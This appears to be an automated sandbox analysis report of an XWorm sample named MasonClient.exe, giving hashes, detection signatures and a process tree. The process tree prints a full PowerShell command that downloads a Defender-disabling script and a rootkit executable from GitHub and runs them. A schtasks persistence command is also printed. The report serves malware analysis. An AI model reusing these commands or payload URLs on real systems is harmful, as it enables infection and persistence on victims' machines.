Analysis
-
max time kernel
142s -
max time network
148s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
08/03/2025, 07:46
Behavioral task
behavioral1
Sample
MasonClient.exe
Resource
win7-20240903-en
General
-
Target
MasonClient.exe
-
Size
51KB
-
MD5
98b0077862a1b5e9cfb7257a96abfbf2
-
SHA1
c608b9257f5eb5c547875a38b27567ff1fd3fe44
-
SHA256
0f4691e7c8b5f9bbd913c207f7d57f3b514e6adee47b32d57ebe0665632a8aac
-
SHA512
0f80ea3b6e04af7dc96f085b318a0b8736dfc72a7d8ac73d86a31023f895be9c3e4cbbef00da507494c3e19a7c376661ed0b91cbf11aef5e1590e3b6c271a846
-
SSDEEP
1536:IUIPbL8Z6az90D7h47T7baurM+/MbOTuL:IUIPHA6az903y7fbae/MbOiL
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 4 IoCs
resource yara_rule behavioral1/memory/2112-1-0x0000000000D00000-0x0000000000D14000-memory.dmp family_xworm behavioral1/files/0x0008000000004e74-14.dat family_xworm behavioral1/memory/2664-16-0x0000000000290000-0x00000000002A4000-memory.dmp family_xworm behavioral1/memory/2032-18-0x00000000003D0000-0x00000000003E4000-memory.dmp family_xworm -
Xworm family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2300 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 2664 MasonClient.exe 2032 MasonClient.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
flow ioc 16 raw.githubusercontent.com 18 raw.githubusercontent.com 19 raw.githubusercontent.com 23 raw.githubusercontent.com 8 raw.githubusercontent.com 12 raw.githubusercontent.com 21 raw.githubusercontent.com 10 raw.githubusercontent.com 14 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2912 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2300 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2112 MasonClient.exe Token: SeDebugPrivilege 2300 powershell.exe Token: SeDebugPrivilege 2664 MasonClient.exe Token: SeDebugPrivilege 2032 MasonClient.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2112 wrote to memory of 2300 2112 MasonClient.exe 31 PID 2112 wrote to memory of 2300 2112 MasonClient.exe 31 PID 2112 wrote to memory of 2300 2112 MasonClient.exe 31 PID 2112 wrote to memory of 2912 2112 MasonClient.exe 33 PID 2112 wrote to memory of 2912 2112 MasonClient.exe 33 PID 2112 wrote to memory of 2912 2112 MasonClient.exe 33 PID 2808 wrote to memory of 2664 2808 taskeng.exe 36 PID 2808 wrote to memory of 2664 2808 taskeng.exe 36 PID 2808 wrote to memory of 2664 2808 taskeng.exe 36 PID 2808 wrote to memory of 2032 2808 taskeng.exe 38 PID 2808 wrote to memory of 2032 2808 taskeng.exe 38 PID 2808 wrote to memory of 2032 2808 taskeng.exe 38 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:2912
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {0B0D1B52-608E-407E-95C4-CA2E6FDAEC05} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2664
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
51KB
MD598b0077862a1b5e9cfb7257a96abfbf2
SHA1c608b9257f5eb5c547875a38b27567ff1fd3fe44
SHA2560f4691e7c8b5f9bbd913c207f7d57f3b514e6adee47b32d57ebe0665632a8aac
SHA5120f80ea3b6e04af7dc96f085b318a0b8736dfc72a7d8ac73d86a31023f895be9c3e4cbbef00da507494c3e19a7c376661ed0b91cbf11aef5e1590e3b6c271a846